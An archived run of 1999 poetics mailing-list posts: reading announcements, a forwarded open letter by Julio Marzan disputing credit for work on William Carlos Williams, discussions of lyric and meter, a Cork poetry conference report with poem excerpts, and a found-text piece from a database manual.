And a reminder: MICHAEL PALMER and JOCELYN SAIDENBERG will be reading this THURSDAY, MAY 13 at Adobe Books, smack in the middle of the Mission at 3166 16th St. between Guerrero and Valencia. Gathering begins at 8, reading 8:30 - come! Free broadsides of Michael Palmer's "Tower" will be available. Your emcee for the evening will be 9x9's own Eugene Ostashevsky, who is currently the featured poet of the week on PoetrySuperHighway.com.

↑ Index

132. Tony Green
Re: Invitation to a Thought Experiment
Wed 12 May 1999

Creative Writing Class

Exercise 1: write two pieces --
1) a piece of creative writing
2) a piece of non-creative writing

Specify word-lengths etc

& take it from there.

Tony Green

↑ Index

133. Michael Magee

OPEN LETTER TO RON PADGETT AND TEACHERS & WRITERS COLLABORATIVE (fwd)

Wed 12 May 1999

Thought this would be of interest to many on the list. Thanks to Al Filreis for passing it along to me. -Mike.

> | From [redacted] Tue May 11 15:31:37 1999
> | From: [redacted]
> |
> | OPEN LETTER TO RON PADGETT
> | AND TEACHERS AND WRITERS COLLABORATIVE
> |
> |
> |
> | Ron Padgett, Editor
> | Teachers & Writers
> | 5 Union Square
> | New York, N.Y. 10003-3306
> |
> | Dear Ron:
> |
> | I don't usually make a spectacle of being omitted from an > | anthology or a reading program, but I am doing so after learning that > | Victor Hernandez Cruz was invited to contribute to T&W's collection of > | essays on William Carlos Williams and will now give
> | a talk on Williams as part of "The People's Poetry Gathering." As that > | gathering is subtitled "a celebration of the oral tradition," Victor
> | indeed does qualify to participate. But because his new mileage on the > | subject of Williams comes from his siphoning from my work and because > | you are promoting his doing it, I am voicing my impatience with you
> | and Victor and the larger meaning of your partnership.
> |
> | In 1994, a week or two before the pub date of my THE SPANISH
> | AMERICAN ROOTS OF WILLIAM CARLOS WILLIAMS, I received a rare phone
> | call from Victor, in which he informed me of his discovery that
> | Williams was really a Latino writer because his > | mother was Puerto Rican. As her cultural origin was generally known, I
> | assumed that he had gotten the confidence to talk about a Hispanic
> | Williams from my earlier publication on the subject. [In 1986, I had
> | published "Mrs. Williams' William Carlos" in a collection of essays,
> | edited by others, titled REINVENTING THE AMERICAS: COMPARATIVE STUDIES

| OF LITERATURE OF THE U. S. AND SPANISH AMERICA (Cambridge)].
|
| Soon afterwards, when in conversation with E.J. Vega I mentioned
| Victor's phone call, Ed informed me that I was right about Victor's
| getting his notions of Williams from me but not from the source that I | assumed. Ed, who had read my manuscript, explained that he had | recently heard Victor read, and during the Q&A asked him if he was
| aware that Williams's mother was Puerto Rican, which explained the | Carlos second name, and that Williams exhibited a Hispanic
| consciousness. Victor confessed that he didn't know about the mother
| and thought that "Carlos was a pen name." Ed then informed Victor that
| my book on the subject was about to be released. Nevertheless, at the | time that Victor and I spoke on the phone, he feigned having no
| knowledge of my forthcoming book.
|
| (Amazingly, by the way, Julia Alvarez, who also figures in your | Williams book and whose agent knew of my book more than a year before
| its publication, had also spontaneously discovered a Williams heritage
| and jotted some quick notes for a talk that--a rare missive--she
| mailed me around the same time. She too was unaware of the coming
| book. What a coincidence: both had gotten Williams fever at the same
| time, just at the pub date of my work.)
|
| Explicably, back then it was evident that all Victor knew about
| the Carlos in Williams was that Mrs. Williams was Puerto Rican and
| some poems contain Latin imagery. After my book came out, however,
| Victor retooled his career, began to drop Williams's name in
| interviews, and now contributes to T&W's project on Williams. Victor,
| of course, has every right to respond to the emergence of Williams's
| Carlos persona; his misdemeanor has been the lack of etiquette to | inform what parts of his raconteuring comes from my writings. Now,
| however, I have to wonder if, when my book of translations of Puerto
| Rico's Luis Pales Matos is published in 2000, will Victor become an | overnight translator and freely borrow lines from my translations or
| will he simply pick up this new material and read it as his own? And
| will you invite him to read it?
|
| I mention Pales Matos because, before my book's publication and | not in relation to Williams, in his talks and interviews Victor has
| understandably spoken about that great poet, who also happens to be a
| key figure in the Carlos story. Victor first heard about the Pales
| Matos/Williams connection from me in our prepublication phone
| conversation, during which it was obvious that he was having an
| epiphany. My Williams book tells the full story of the two poets,
| which was later retold in my THE NUMINOUS SITE: THE POETRY OF LUIS
| PALES MATOS (Associated U. Presses) and summarized in a piece on Pales
| Matos in CALLALOO, both which would be coming out in 1995. In response
| to his enthusiasm, I referred him to these publications. If Victor

> | intends to discuss the influence of Luis Pales Matos on Williams, an > | extraordinary link that I revealed, can you please ask him to cite his > | sources?
> |
> | Ironically, Paul Mariani is also on your lecture program and in
> | T&W's book. In his review of my Williams manuscript for the University > | of Texas Press, Mariani demonstrated his intellectual integrity and > | sincere interest in Williams by noting: "...despite the pot shots that
> | Marzan takes at me, I think this book is so important that I am > | willing to put them aside." Mariani's work on Williams has been > | invaluable to all of us and his presence in your book and on your > | program on Williams is to be expected. But why doesn't Williams's
> | Carlos persona merit a discussion by a poet with comparable
> | credentials on the subject of Williams?
> |
> | I recall that you didn't sound all that crazy about my work on > | Williams and even tried to get me to strike such references from my
> | preface to LUNA, LUNA. Recently, when T&W's Williams book was > | announced, I thought back to your opposition and realized that you had
> | been trying, five years after the publication of my book, to protect
> | the freshness of Victor's subject. Instead of imagining that Victor
> | and I could both write two different kinds of essays, however, you
> | kept to a self-imposed quota of one Puerto Rican poet. Against the > | logic of using my original work on Williams, you selected the > | secondary response of the poet whose name recognition was built on > | being sociologically "representative."
> |
> | The implications here push the button of the "larger meaning"
> | that I referred to at the opening of this letter. You didn't merely
> | make an editorial choice; you made a cultural statement. By your > | encouraging Victor to lip-synch my work on Williams, T&W becomes
> | another publisher that dictates both who and what Puerto Ricans are > | supposed to be. Under its veneer of social consciousness, then, T&W
> | locks us into stereotypes and is really no different from many a > | commercial house. Praeger, for example, recently signed on Carmen
> | Dolores Hernandez's book of interviews of mainland Puerto Rican
> | writers only after she agreed (so explained Ms. Hernandez) to purge
> | her interviews with Martin Espada, Frank Lima and me, poets not > | predictably representative. Victor, of course, remained.
> | Significantly, the word "Writers" in the original title was changed to > | "Voices."
> |
> | I, of course, don't own Williams and, as I state in THE SPANISH
> | AMERICAN ROOTS OF WILLIAM CARLOS WILLIAMS, can't claim to have > | discovered his Latin side because he wrote about it extensively. But I > | was the first to take him at his word and show that consciousness in
> | his creative process and his poems, including those that don't have
> | Latin imagery. As I also explain in my introduction, the book

> | developed from seeing my own bicultural poet's life in Williams's
> | biography. I undertook the task to write about Williams (and Pales > | Matos) to claim a rightful literary ancestry for me and other Latino,
> | and specifically Puerto Rican, writers.
> |
> | Unfortunately, besides eliciting a foreseen resistance to giving
> | credence or prestige to my contribution on Williams, my book has > | surprisingly disturbed a united front of political correctness and
> | professional self-interest that, focusing on me, doesn't celebrate the > | emergence of a reading-based literary consciousness among mainland
> | Puerto Ricans. Still informed by the sixties, this mindset wants to > | freeze mainland Puerto Rican lives in the youth-based, street-bound,
> | oral-recorded social truth that Victor's work has always evoked. I
> | don't forget or deny the working class from where I began, but I find
> | it an oppressive solidarity that, to hammer a political message, also
> | deprives those same mainland lives, frozen in flat characterizations,
> | of the rounding, parallel truth of a Puerto Rican culture in its > | historical fullness and depicted as grown up.
> |
> | Before I agreed to edit LUNA, LUNA, I was aware that T&W was a > | poetry niche that, when it came to male Latino poets, fostered those
> | in the oral tradition. As I myself don't see a contradiction between
> | having two traditions, the norm in most literatures, including Puerto
> | Rico's, I expected more flexibility from T&W. The fact that you
> | contacted me suggested the possibility of balance. But your refusal to > | reward me as the author of a groundbreaking work on Williams, whose > | importance Mariani has acknowledged and David Ignatow described as
> | "the most important in decades," definitively demonstrates that at T&W
> | what comes first is loyalty to niche and, when it comes to male Latino
> | writers, what oral, ethnic, folk, urban aesthetic is represented by > | Victor. It would appear that, like Praeger, T&W has a mission to edit
> | more than books.
> |
> | Lacking the clique Latinos to edit LUNA, LUNA, you resorted to > | me, an "unrepresentative" poet whom you evidently saw as a member of
> | some politico-aesthetic other side. The knowledge and writing skills
> | for which you sought me were the cause of my being pigeonholed as an > | outsider who should be kept in the shadows, not really one of your T&W
> | authors. Consequently, I must interpret that your getting me to edit
> | for T&W was another kind of exploitation--extracting from me the work
> | you needed before I caught on that you will only showcase certain
> | kinds of male Latino writers and that, beyond getting paid, I will not
> | be acknowledged.
> |
> | And so now I understand why LUNA, LUNA was launched like a piece
> | of ghostwriting, with no book party, with publicity that identifies me
> | as its editor as little as possible, with simply a name and no bio. My > | name doesn't even appear on the front cover or the spine. All those

> | copies of good reviews that you have sent me defer to your marketing
> | of the book: they praise it and the press without a word of credit to
> | its editor--you remember, the only writer who, according to you, would > | really do justice to that essay on Latin American literature that,
> | after all this, you asked me to write. Apparently I had misled you
> | into believing that I had not yet caught on.
> |
> |
> |
> | Sincerely,
> | Julio Marzan
> |

↑ Index

134. Annie Finch
Re: a ghost in the metric
Wed 12 May 1999

Hi John--
There's a review of The Ghost of Meter on the webpage that describes my idea of the "metrical code" which is the subject of the book

It's a wordless code of rhythms that carry associations evoking past poems written in the same rhythms and meters or maybe other rhythms, preverbal and nonverbal

(though I don't go into the reasons or conscious motivations but merely describe a phenomenon I've noted over and over in a certain kind of poem,

free-verse poems written during "metrical crisis" by certain kinds of poets who seem to need rhythm a lot);

(Not all free verse--not all 20th c. poetry-- as Marjorie P. has mistakenly remarked in a recent essay
but just certain poets

for whom this kind of reading in terms of the metrical code gets beneath the referential skin and into the physical pulse that I argue is one of their messages.

Yes I liked it!!! I don't know how much this kind of reading will relate to the kinds of forms that interest you--it is a particular kind of forming, one with roots in lyric metrical tradition. The forms I see in your magazine and elsewhere, many of them, seem to have other roots--in visual poetry and conceptual art maybe.

I will post this to poetix too.
Thank you for asking and for your contagious email metric
Annie

> hi annie
>
> thought i'd say hi again > as i'd got round to yr > homepage - wondered at > what yr book of that > title alluded above was > what it might offer
>
> rats
> now the phone rings > telling me come quick > so post-poning i go - &
> didya like that pome ?
>
> best)L

Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English, Miami University

↑ Index

135. Annie Finch
Lyric
Wed 12 May 1999

Rachel, I would agree with you completely about the many kinds of lyric; as far back as two hundred years ago, I have located a crucial distinction between what i call the "romantic" lyric (the I/thou, gaze/gazer, subject/object dichotomy where all revolves around the central eye) and what I call the "sentimental" lyric (multivoiced, multiviewpointed, objectifying the speaker as much as the outside world). This powerful but subtle distinction separates poems that might resemble each other quite a bit in other aspects--it even separates some Dickinson poems from other Dickinson poems (I see her as the major crossover figure, since her connection with the sentimental poets of her own time is the source of much of her supposedly autochthonic mystery). Useful though this it is--and to my mind, ESSENTIAL in constructing a coherent feminist poetics that spans centuries-- it gets lost next to the glitzier, cruder, and perhaps rather useless distinction between language poetry and lyric tradition.

Annie

> Date: Thu, 6 May 1999 14:08:37 -0500
> From: Rachel Blau DuPlessis <[redacted]>
> Subject: Re: Barnard and beyond Beyond
>
> Dear Stephen and whole list--I just checked in to S.Cope's queries about Barnard especially questions of Lyric. Fruitful terrain. In my paper responding (or purporting to respond) to Marjorie, I also queried the binary formulation of the title or rubric under which the conference was "meeting"--that is, Lyric Tradition and Language Poetry, proposed as 2 separate entities. (I know it could be construed as kind of a cheap move to query the horse built by a committee--i.e. the conference title--but this one seemed symptomatic. My query was precisely about the concession of lyric, much less tradition, to one "half" of an impossibly crude binary. I used myself (closest to hand, and of course an act of consummate narcissism) as an example--my critique of certain aspects of the lyric tradition (I/thou, subject/ objectified, gazer/ gazed at) is one (One Important) but Only One aspect of Lyric. Clearly I have gone on record as having a feminist critique of lyric, which has the further amusing effect of bringing under critique and scrutiny a number of Rather Famous Poems. However, there are many aspects of lyric, and the heavy-duty I/thou relation is only one. So what is really called for is an examination of what people now might mean or want when they write in what they call a lyric mode. (And there is no doubt that the poetry of Jean Day, Jennifer Moxley, Susan Gevirtz, Lisa Jarnot, et al. would be proposed here) Is it a (historical) connection with the short poem? (Rae Armantrout) is it closure? is it sound--even unto lushness? (Charles Bernstein) is it a certain contained temporality of the reading that nonetheless opens out into a vast temporality of implication? (Ann Lauterbach) is it awe? strangeness? (Lyn Hejinian) wonder? Is it secularized spiritual urges? Is it just a way of talking "personally"? Is it the loss of the social, the transcendence of the social, or is it inflected with an encrypted social realm?Is it song or dance or a rhythmic stretto? (Nate Mackey) Is it some relationship to an idealized female figure? (Barbara Guest) Is it a formal > containment of discursive varieties? (as Harryette Mullen does in Muse and Drudge with ballad/blues) Is it a certain kind of "overheard" quality or relationship to a listener? How can ear and the intersubjective be factored in, or can it? Is it what Stephen Cope called "lyric tension"--a great phrase--which means what definitionally?--hi Stephen--fill in! Is it a certain kind of subjectivity (one that Mary Margaret Sloan characterized as the poetry of domain in her conference paper)? or is it a voiding of that authoritative master-subjectivity, a kind of evacuation and voiding of the subject? is it beauty that we want from lyric? (thus raising the question--I won't even say it--what is Beauty--ahh, gasp, there--it's out).There are also a few genres within lyric--like ode, song, ballad, maybe elegy.I am not trying to rehearse Poetry 101 here, so read on, maybe. What I am trying to say is 1) we all have a relation to lyric even if we reject part of it or all of it (I made this point at Barnard; rejection is a relationship) 2) lyric is multiple and flexed--what lyric, when, how, for whom are we talking about. Precisions will let > us reject any knee-jerk responses (pro or con) to that word. 3) when people use lyric modes > what part of lyric are they using. I consider that I use the lyric, but want to surround it with other discourses and subjectivities so that it loses its "master-narrative" quality and becomes one element among many others 4) what is the social-psychological surround of lyric? Do we want to agree (with Allen Grossman, for example) that it encodes an oedipal plot (see gender-laden critique of this by RBD in "Manifests" in Diacritics). The one thing that Barnard did, especially that keynote panel, was to remind us to reject binaries.

> ==========
> Rachel Blau DuPlessis
> Temple University
> Philadelphia, PA 19122
> [redacted]

Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English, Miami University

↑ Index

136. juliana spahr
hey whitmaniacs
Wed 12 May 1999

Any one out there know the citation for that passage where Whitman talks about how great American English is b/c it is put together of all different languages/influences?

Or the Webster one?

↑ Index

137. Trevor Joyce
Report from Cork Conference
Wed 12 May 1999

Forwarded with Nate's okay - apologies for cross-posting . . .

Date: 12/05 2:00 am
From: Nate and Jane Dorward, [redacted]
To: British-Poets List, [redacted]

Dear all,

Rather belatedly, I thought I'd add my take on the Cork conference to Randolph's & cris's notes: it got half-written, then shelved, then dragged out again, but is I think still news. My account, though pretty long, is not a full-length portrait: I don't deal with the papers (except to note that Keith Tuma's was the most considered and substantial, a piece viewing contemporary Irish poetry through the prism of the philosophy Giorgio Agamben), simply because I didn't take notes at the time. -- I'm actually quite conscious in writing things up here that my responses have inevitably been inflected by my familiarity with many of the readers and texts before they were read (I even saw an early draft of Keith's paper)--this isn't to disavow my responses positive & negative, though. -- I'll also give a few samples of work not included in Randolph's previous post. General comment: this was my first time in Ireland, and I greatly enjoyed it despite not having time for touristy things. A good social atmosphere surrounded the event proper: let me express my particular thanks for Trevor Joyce's nightly hospitality at his house. The Café Paradiso, gourmet vegetarian restaurant, was a culinary highlight (a big dinner to which most of the attendees came on the first night). (For the record, the lowest point was Abrakebabra, an appalling fastfood joint selected simply because everyone was sick of being rained on during our restaurant-hunt.) -- All readings were held in the Granary Theatre, in a high-vaulting square cement room with windows along one side (much appreciated by myself, since I tend to get a bit stir-crazy in windowless rooms being read at for hours on end).

First evening: Maurice Scully bookended his reading with tributes to Roy Fisher: a prefatory reading from RF's _It Follows That_ and a closing tribute of Maurice's own devising; in between were a number of pieces from his recently completed _Livelihood_ project, including "Five Freedoms of Movement" and "Zulu Dynamite" (the latter due out from Form Books). A quiet but musical reading (MS often lightly tapped time on the desk to the words), at times endangered by the loud patter of rain on the Granary Theatre skylight. An excellent opener. John Goodby's work I'm not familiar with, beyond the odd _Angel Exhaust_ contribution; he read entirely from his one published book, _A Birmingham Yank_ (Arc). Worthy, but not to me very compelling; there's a strong interest in patterns of historical injustice that didn't get past the tellingly anecdotal (each poem was lengthily self-glossed before or even during its reading, explaining phrases like the aforementioned "Birmingham Yank"). Reminded me a little of Robert Sheppard's later _20th-Century Blues_ work but much more formally conservative (as JG cheerfully admitted). I don't have a sample of JG's work: perhaps someone else could post some? -- Like Scully, Goodby framed his reading with another poet's work: an excerpt from "Memoirs of a Turkoman Diplomat", by the Irish modernist poet Denis Devlin. A sidenote: The pairing of these readers reflected their coediting of _Angel Exhaust_ 17, a fine collection of recent Irish poetry & essays on the Irish experimental tradition, from the '30s modernists (Coffey, MacGreevy, Devlin) through some little-known byways (Eugene Watters, Sheila Wingfield, Mary Devenport O'Neill) to the present. A very worthwhile collection (though the odd typo betrays its rushed production under duress of having it ready for the conference!).

Second day: Billy Mills read from a long sequence alternating between brief lyrics (I'd say "objectivist" but he later objected to this tag, so I'll let list-denizens decide from the sample below) and prose polemics. I've gone on record before (in issue #1 of my magazine _The Gig_) as to my dissatisfaction with Mills' _Tiny Pieces_, the first part of the sequence; but on this occasion it was mostly the prose I had problems with. The polemics were directed against mainstream Irish poetry, against Language Poetry (treated as a monolithic collective noun), against literary theory (with a particularly baffling aside about Wittgenstein's ignorance of how language works), and so on. This was blunt stuff, & not too apposite for the first really international Cork Conference (with the distinguished Language-affiliated writers, Fanny Howe & Karen Mac Cormack, in attendance). -- The one sour note of the event. -- However, I'll include a bit of _Tiny Pieces_ to permit people to make up their own minds:

scattered
this glass reconstitutes folds determine

*

follow the lines

come again

*

sun
after rain

luminous leaves

boxroom
window

Will just register Jools Gilson-Ellis's "Graze", a performance piece not much to my taste: close-miked performer repeating the word "graze" & breathing pronouncedly, leading eventually to the recital of the dictionary definition of "secret". Karen Mac Cormack's reading drew on her entire oeuvre, from _Quill Driver_ to a new work-in-progress, a set of prose pieces. I've heard her read several times before, but this was the first time I heard her perform a retrospective. Fascinating stuff, especially the newest work, which I wish I had to hand, but instead I'll include a bit of _Marine Snow_ (ECW) [you'll need to have a fixed-width font to register the spacing properly--this is meant to be centred on the page]:

MULTI-MENTIONAL

That line's running-board basics

sidereal on all fours

preen

exploitation of perfect timing renew

maximum syncopation temperature tantrums clever yes

but mongrel statistics are with us.

Head up in arms

pieces of time at regular intervals

if the ring fits answer the phone

non-committal background

indications assume no one's perfect

telepathy

soft patience or landslide afloat

the birds not flying pinpoint a simile swerving away.

Fanny Howe's work I'm not that familiar with; have seen her now twice, at CCCP (many years ago now) and Cork, & both times greatly enjoyed her reading. Perhaps some kind soul can post a sample of her work. -- The next reading was Judy Kravis; Randolph has already accurately described her "beach poems"; I didn't think them at all satisfactory, and would instead recommend those interested in her work to consult her selection in _Angel Exhaust_ 17. -- Geoffrey Squires read from a single long sequence of his. I have mixed feelings about his work; I can admire the strongly individual path he's followed in his recent works--extended series of accumulated phenomenological details without any striking change of direction or stress--without being able to agree with a correspondent of mine who calls result "hypnotic". The interested can find a sample of his work (and others') at <http://www.nd.edu/~ndr/issues/ndr7/ndr7.html>. (The poem there shows some of what worries me about this work, the way details become too explicitly tutelary in their presence: "the small gate that leads where it leads indirection the trees overspread like hands like gestures of a kind".)

Later that day: Drew Milne gave a fine reading drawing on _Sheet Mettle_, _Bench Marks_ (both Alfred David Editions) and _How Peace Came_ (Equipage). The sonic qualities of a poem like "Positive Indiscriminations" (_Sheet Mettle_) were striking, beyond even its hilariously awful puns (Milne shrewdly used it as a warmup, immediately engaging the audience). I might term the metric "sprung syllabics", perhaps (if that's a metrically meaningful phrase!). From this point Milne moved to "High Time" from _Bench Marks_ and concluded with _How Peace Came_ (modelled on the satirical and visual style of Wyndham Lewis's _Blast_); even the latter, a deliberately noisy & offputting text, communicated and, er, sang. I'll quote, below, the last three stanzas of "High Time":

It is a crying frame, a mortified hinge, lava preys upon itself, the blood bows, scent of salt to rub along with
and behold each atom, perfume of reason, its skein in akeing plume.

Go, then, to the rent
look where all show of bitter ends, crust and rosette, simmer and knife, throws its face to the wall, each skipping drift of dark in its resting clutches.

And in the red corner, done dusted, there to sink, as some pillow of rested cases, each upon its broken foam,
the plaster gives, not in circles of the wire
but out of our hearing.

Danny McCarthy's performance was effectively macabre (hooded figure, to the accompaniment of creepy music & the sound of warplanes, douses candles with the heads of dolls) without striking many further sparks. Reminded me a bit of the chilling & wonderful track on Zorn's _The Big Gundown_ album, "The Battle of Algiers". Introduced by the sound of the bells of Shandon (recorded earlier in the week on a trip to the church), cris cheek performed a collage of various texts--some of _fogs_, a bit of _songs from navigation_, a couple "flames" (on the page, they looked just like that, words arranged in flame-shapes), etc. A blackboard was pressed into service at one point, as were a megaphone and the reading lamp (a dangling lightbulb at one point flashed on and off in sync with CC's speech). Hard to say much about the whole thing except expressing my pleasure--or maybe _pleasures_ is the right word for such variousness. "Performance" here drew on a number of modes of public speech, instead of voicing private inscape. I thought of song; acting; speech; lecturing (cris's resonant and projective voice suits all these activities); political harangue; public address-systems (the megaphone). The conclusion of the performance was a duo performance with Keith Tuma of their cowritten text _Oval Orifice_: the shadow of the US's bombing campaign hung over much of the conversation at the conference, and the _Orifice_ gave it a voice (the text receiving a few topical updates just for this performance). I'll include a bit of it, below:

From OVAL ORIFICE

Tricky-Dicky, Tricky-Dick, come out, open Bill's Gates
Pray tell, how your contrary garden do grow?

Compere our vegetate seeds, mix our Fates
Dick, blow on that schtick, tit-willow tit-willow.

If you're tired of a two-way, call out Tricky-Dick
When in search of a new way, a less schticky schtick
He'll huff you and puff you, you just take your pick
All hail!, the adaptor, your friend, Tricky-Dick.

Lewd Pinky put the boxes in the Capitol and the world rolled away. Hanky-Panky sweeps these broken words for love. Tricky-Dick oil your eye from that buttercup shell. Lewd Pinky does the cigar dance, Asia falls to its knees. Hanky-Panky corroborates sex-change truth with advocates of sun-dried life. Tricky-Dick, calling the hail from the hallways of the malls of America.

Tricky-Dicky, Tricky-Dick, come out, open Bill's Gates
Pray tell, how your contrary garden do glow?
Compete our vegetate deeds, trix our Fates
Dick, blow on that schtick, tit-willow tit-willow.

Lewd Pinky busts through the door and Russia goes south. Humpty-Panky clutching at the King's bannisters of sentimental popetry in a last ditch attempt to pre-empt the great fall: "Klingons off the star-bored banner sir!" Lewd Pinky looking up deflation in American Heritage Dictionary, all the news fit to squint. Hanky-Panky runs a spellcheck on his memoirs, finds continual confusion as to whether Pinky or Panky was an avowed intent.

If you're hired by a two-way, call out Tricky-Dick
When in search of Wick Willy, that less snickered schtick
He'll huff you and puff you, or pickle his prick
All wail, the olefactory, piss-prettied Dick.

....

Last morning: the final poetry readings of the conference were by three Irish poets. This was a demanding and impressive trio of performances. Trevor Joyce read from his work of the 1990s, briskly, clearly & intensely; it was a very convincing if demanding presentation of a remarkable body of work. First was a set of three poems that borrowed lines from the work of (respectively) Michael Smith, Randolph Healy and Tom Raworth; next, _Without Asylum_ (published by Wild Honey); _Hopeful Monsters_ (three prose poems that perhaps bring to mind Baudelaire, the Surrealists, and Beckett; forthcoming from Wild Honey); and _Syzygy_ (Wild Honey). I'll quote the Raworth poem, which extends each line of Tom's "Dark Senses" (in _Clean & Well Lit_): the effect is unsettlingly both seamless and unlike either a typical Raworth or Joyce poem.

From DARK SENSES PARALLEL STREETS

bones show through images more opaque than tissue of friends though they strut pressured between joints still move in dialogue with tongue baldes fluttering in darkness what relief to accumulate some utterance forgive me, it's a dream don't mention it standing alone, waving it's easy to be fooled in search of its lost era rich spoils not just geography forgotten in the foreclosed mine walking parallel streets try to conceive the waste of tropical flames blossoming from the settled earth with a political broom to suppress the outburst ominous as a smoke signal you needn't understand over a farewell meal make smalltalk avoid disturbance of dust in the dust breath lays down before an open window another field of vision weather permitting in clarity precedent to the rain

step sharply within no time to lose here the labyrinth of raw meat though deepening fatigue jingling those keys won't achieve much you know dimmed by sweat regrettably the outlines just blur unthinking insects click, rustle case on case scavenging for bare subsistence replicate the given circulating minutes in the skeletons of organizations to the extremities inexorably crushed by vice the central pump stutters

.....

After this, another forceful performance: Catherine Walsh, reading from _City West_. An elegant stylistic premise: disjunct fragments, typically in chains of present participles, so that one got peppered with "-ing" sounds. Mundane activities somehow sounded more tentative this way, being both recurrent structures of life (the perpetual present) but also at a remove from any particular life. -- I don't have any of this work to hand, but Randolph posted a sample earlier. I was wondering how the last reader, Randolph Healy himself, might feel having to follow these two very fine & high-energy readings. His quieter demeanour suited the comic but sobering poem "Colonies of Belief", an abstract logician's account of human territorial aggression: nationalism, racism & greed. (The poem may be found at <http://indigo.ie/~tjac/Poets/Randolph_Healy/colonies.htm>.) He also read a wonderfully splenetic series of anagrams, "(The) Republic of Ireland", from which I'll post an extract:

her lie-lined tub of crap her pallid beef in court

her pro-life bit unlaced her fluid celibate porn

fur dope brilliance fine hell or bad picture

faith in blue crepe lord put bile on charred life

ice fire bother and pull plain cruel if bored

April could be finer idle half-porcine brute

price trouble in fleadh fertile blue chip radon belief in carrot upheld birth pill feared on cue

Randolph concluded (after a brief comedic interlude with a blackboard and a Gaelic primer) with a reading from _Scales_, his most recent long poem. On the page, this is a highly various work, including everything from anecdotal/discursive writing to abstract wordplay (at one point a quotation from Newton is sorted into piles according to parts of speech) to concrete poetry; but the reader becomes gradually hemmed in by the black blocks which increasingly replace words. During performance many of these missing words were in fact vocalized--in, for instance, a mordant found-poem rearrangement of words from an undertaker's manual that made me squirm a bit; but the last section was read with the blanks intact (becoming long pauses in reading): a legal document with all the verbiage except the word "Whereas" blacked-out made for a quiet, haunted coda. This brought the poetry readings of the conference proper to an end, though still ahead were one paper (Romana Huk's), miscellaneous wrappings-up, and the final hunt for a good pub at which to lunch. But I'll end there, with a last thanks to Alex Davis for organizing the whole conference. Much appreciated & enjoyed. --N

Nate Dorward
[redacted]
109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada
ph: [redacted]

---------- End Forwarded Message ----------

****
Trevor Joyce
Apple Cork IS&T
Phone : [redacted]
EMail : [redacted]
****

↑ Index

138. Randy Prunty

Re: Poetry: telic or not

Wed 12 May 1999

Lowther-Of-The-Two-Minds says "I also question the utility of an individual internal and psychological inquiry's overall validity with respect to something like poetry which must be seen as a social activity" … "so individuals are not at issue but only poetry as communal activity?"… "perhaps it ought to be required of any poet that they think very carefully about what their own telos is" … "or not - come on - like any of us cd really state 'what the telos of our writing' is with any definitiveness - all we've got it seems to me is a serious of working hypotheses - assumption that open certain doors and make other less door-like than a wall of books"

I've been reading something of a "telos tome" (telos tomb?): Arakawa and Gins huge book REVERSIBLE DESTINY. WE HAVE DECIDED NOT TO DIE. Here's a quote from the George Lakoff piece in the book as he tries to sum up what he thinks Arakawa and Gins are up to. "The increasing violence and destruction in the world - physical, ecological, economic, social, and emotional - are all a product of our present modes of thought. If the cruelty is to end, our concepts must change. Since concepts are physically encoded in the brain and grounded in the body, our brains and bodies must change. If art is to play a role for the good, it must disrupt our concepts, our normal ways of functioning - our brains and our bodies. Art as disruption is art as a moral force. Disruption is an aesthetic experience, and an aesthetic experience of this kind is inherently moral. Moreover, disruptive art on a large-enough scale will be sufficient to reverse our destiny, so that the violence and destruction can end."

as I take this in, I too am of two minds. as has been discussed on this list several times, poetry can be a disruptive force, breaking us out of our ritualistic ways of perceiving and conceptualizing. it can change our consciousness. seems like a good thing, no? but to the interest of who? how to escape the "change for the good" that is also part of the "moral" religious argument? or the humanistic "oh gee well things are/can/should be getting better and better?" I find that when I think too much about whether my poetry might be

"telic" it shuts me down. funny paradox, huh? and so I don't write probably because I've put too much pressure on those little ink spots on the paper. the door as you say becomes "a wall of books". on the other hand if I never think about "where my poetry (in general, not just an individual poem) is going" then it loses its interest for me.

Lowther writes: "so have we decided that poetry is telic or not?"

oat for nao
Randy Prunty

↑ Index

139. Poetics List
Re: Mackey Reading / Tisa Bryant
Wed 12 May 1999

---

this came to the administrative account. Chris

From: [redacted]
Date: 5/12/99 12:20 AM +0000

I'm obviously having a hard time with the old Julian.
Nate Mackey's reading is on Thursday the 13th, same day as the Jocelyn Saidenberg/Michael Palmer reading at Adobe Books.

Decisions Decisions.

Sorry for the confusion.

Tisa

↑ Index

140. Jeffrey Jullich
Re: American Social Identity Survey [MICROSOFT]
Wed 12 May 1999

---

from MICROSOFT ACCESS 97 AT A GLANCE, Redmond, WA 1997

(note [p. 37], in light of Edmund White's ~Forgetting Elena~)

[p. 21/28]

PRODUCT NAME (SUPPLIER) [CATEGORY] {QUANTITY PER UNIT} <PRICE>

Chai (Exotic Liquids)
Chang (Exotic Liquids)
Aniseed Syrup (Exotic Liquids)

Chef Anton's Cajun Seasoning (New Orleans Cajun Delights)
Chef Anton's Gumbo Mix (New Orleans Cajun Delights) [Condiments] {36 boxes}
Grandma's Boysenberry Spread (Grandma Kelly's Homestead) [Condiments] {12 - 8 oz jars}
Uncle Bob's Organic Dried Pears (Grandma Kelly's Homestead) [Produce] {12 - 1 lb pkgs.} <$30.00>
Northwoods Cranberry Sauce (Grandma Kelly's Homestead) [Condiments] {12 - 12 oz jars} <$40.00>
Mishi Kobe Niku (Tokyo Traders) [Meat/Poultry] {13 - 500 g pkgs.} <$97.00>
Ikura (Tokyo Traders) [Seafood] {12 - 200 ml jars} <$31.00>
Queso Cabrales (Cooperative de Quesos 'Las Cabras') [Dairy Products] {1 kg pkg.} <$21.00>
Queso Manchego La Pastora (Cooperativa de Quesos 'Las Cabras') [Dairy Products] {10 - 500 g pkgs} <$38.00>
Konbu (Mayumi's) [Seafood] {2 kg box} <$6.00>
Tofu (Mayumi's) [Produce] {40 - 100 g pkgs.} <$23.25>
? C?--- Sh--? (Mayumi's) [Condiments] {24 - 250 ml bottles} <$15.50>
(? D?-l-? Ltd) [Confections] {3? - 500 g boxes} <$17.4?>

[p. 20]

DESCRIPTION (CATEGORY NAME)

Soft drinks, coffees, teas, beers, and ales (Beverages)
Sweet and savory sauces, relishes, spreads, and seasonings (Condiments)
Desserts, candies, and sweet breads (Confections)
Cheeses (Dairy Products)
Breads, crackers, pasta, and cereal (Grains/Cereals)
Prepared meats (Meat/Poultry)
Dried fruit and bean curd (Produce) Seaweed and fish (Seafood)

[p. 34]

PROGRAM NAME (PROGRAM TYPE) [RECORDING DATE]

1 Wild Adventures (Adventure) [1/1/95]
2 Camp Jolly (Comedy) [11/23/77]
